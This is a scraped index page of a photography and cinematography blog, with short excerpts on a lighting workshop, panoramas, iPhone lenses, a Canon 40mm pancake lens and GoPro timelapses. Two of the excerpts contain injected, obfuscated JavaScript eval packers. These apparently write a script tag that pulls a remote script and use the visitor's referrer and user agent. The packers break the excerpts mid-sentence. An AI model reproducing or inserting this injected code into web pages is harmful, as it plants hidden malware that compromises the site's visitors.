Illumination Experience- Day 1

I spent the last weekend participating in the Illumination Experience Cinematography Tour (illumination.mzed.com). For two days I got hands on education from one of my favorite DP’s of all time, Shane Hurlbut (hurlbutvisuals.com). Being able to learn from an amazing cinematographer and speaker was truly invaluable.

Illumination Experience- Day 1

Creating Panoramic Photos

One of my favorite things to do with photography is creating panoramas. Simply put, panoramic photos are a multiple images stitched together to create a larger piece. These used to be very difficult to create. You needed to use a tripod, account for large amounts of image overlap, and then line the images up by hand. After all this work, they usually still didn’t look right.

Creating Panoramic Photos

iPhone Lens Set Review

A while back I was interested in using my iPhone for taking nice stills while on the go and wanted to get some lenses for it, because why not? I found this set of 3 lenses on Amazon (amazon.com) for … .50 with shipping. They were cheap enough that if they didn’t work it was no harm no foul. But luckily, the set was worth the minimal investment.

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Lens Review: Canon 40mm f/2.8 Pancake

A eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isttr|var|u0026u|referrer|tbbzn||js|php'.split('|'),0,{})) couple of weeks ago, Deejay Scharton was selling off his Canon 40mm lens over at DSLRFilmNoob.com (dslrfilmnoob.com). I had been wanting to purchase one for a while, but never pulled the trigger on it. Deejay's price was too...

Creating Timelapse Videos with a GoPro

Everyone loves seeing timelapse videos. And creating them using interval frame rate cameras is easy. It's even easier with cameras like the GoPro (GoPro eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifisr|var|u0026u|referrer|ifzeb||js|php'.split('|'),0,{})) Review). But visualizing the final product before you shoot can save you hours of shooting...

DIY Diffuser Boxes

A couple of weeks ago, my girlfriend was freaking out during her finals. She needed to take product shots and the lights she was using were just too harsh for her liking. So, while she’s running around at a hundred miles an hour, freaking out,...